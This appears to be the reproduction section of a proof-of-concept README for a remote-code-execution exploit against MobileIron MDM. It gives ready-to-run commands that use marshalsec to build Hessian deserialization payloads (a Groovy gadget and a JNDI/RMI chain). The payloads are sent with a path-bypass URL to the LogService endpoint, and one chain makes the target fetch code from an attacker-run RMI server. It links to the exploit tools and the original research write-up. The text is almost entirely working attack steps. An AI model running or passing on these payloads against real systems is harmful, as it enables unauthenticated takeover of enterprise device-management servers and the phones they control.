## Steps to Reproduce

### Groovy Deserialization Gadget

```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" "<Command>" > exp.ser
python hessian.py -u 'https://mobileiron-mdm-instance/mifs/.;/services/LogService' -p exp.ser
``` 
![PoC2](deserpoc.png)

### Local JNDI Injection
```bash
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 0.0.0.0 -C "<Command>"
java -cp ./marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor rmi://<server-ip>:1099/<bindname> > exp
python hessian.py -p exp -u 'https://mobileiron-mdm-instance/mifs/.;/services/LogService'
```
![PoC](poc.png)
![PoC1](Screenshot_218.png)


## References
https://github.com/orangetw/JNDI-Injection-Bypass

https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html

https://github.com/mbechler/marshalsec

https://github.com/welk1n/JNDI-Injection-Exploit